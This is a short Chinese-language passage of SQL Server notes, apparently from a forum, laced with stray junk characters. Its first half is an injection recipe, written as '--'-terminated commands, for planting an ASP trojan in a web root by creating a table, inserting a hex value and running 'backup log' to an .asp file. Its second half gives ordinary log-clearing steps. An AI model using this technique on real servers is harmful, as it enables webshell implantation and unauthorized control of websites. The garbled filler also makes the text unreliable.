select * from master.dbo.sysdatabases 列出所有列的记录1 R- G, {8 l/ P
7 y1 W) a! }; n+ F6 ~ m: q$ ]
select name from master.dbo.sysdatabases 仅列出name列的记录) t: Z! l. A7 U4 M
6 P3 J4 ~* R3 m
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份
" \- Q9 z6 U/ y1 o+ y1 w" j7 |
) E/ N$ v. ~9 j! Z$ B! D I0 ualter database 数据库名 set RECOVERY FULL--
4 |& q) u/ K! y5 M% z2 S/ g) N# j7 |, M- {$ H. ?: a; c/ V
create table cmd (a image)-- \**cmd是创建的临时表
0 Z8 k" r2 `3 V4 L4 w
) n# J C6 x& ]& Wbackup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--2 j3 s' J+ Q' R( U
( g3 T4 Y" y8 X7 J9 x8 q7 Ainsert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--5 k* n' ^1 _ y. d3 [+ p6 V
9 W1 _0 d9 g' W- _3 }: @
//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)$ Q4 u% F2 X7 u& T# X! X* }
% Y, @+ u' k& w
backup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)
+ X! p! J0 B& T, { O8 a
% N8 r" d; d% Y" h8 r# N) x/ p; adrop table cmd--
6 S O% p; T- \0 \! Z; y& r1 A, m/ l5 X$ f, | W
5 f$ C2 j( ~4 P* G, X3 p6 ?
f:\
) Y) ^8 f* @$ N7 v16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)* {$ O: ?. k* x2 t; t
. C# }, ^$ @. ^% X* H1 o
最好多加几个回车0d0a,要不会出错哈- _: Z2 K3 e- `4 u" f% f1 x
9 n1 u- Y9 Y% f0 H
( E e' t, T# l4 lSQL Server日志清空方法 ( U; K/ m. B) i' T
b2 g% T' o4 s! z8 X4 M; x M
在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名
+ ]' `5 }% E% t5 a1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG ! n, @8 O- M! v; O: T) [4 ?& b4 d
- m2 G+ p7 N4 B; F( g; J7 q2.截断事务日志:BACKUP LOG databasename WITH NO_LOG 5 l: A) ^4 |" q q: Z0 _+ |1 K% X
T2 y7 b' L+ ~! C3 k
3.收缩数据库:DBCC SHRINKDATABASE(databasename) . r. P, R C! U( Q4 R+ n9 N
|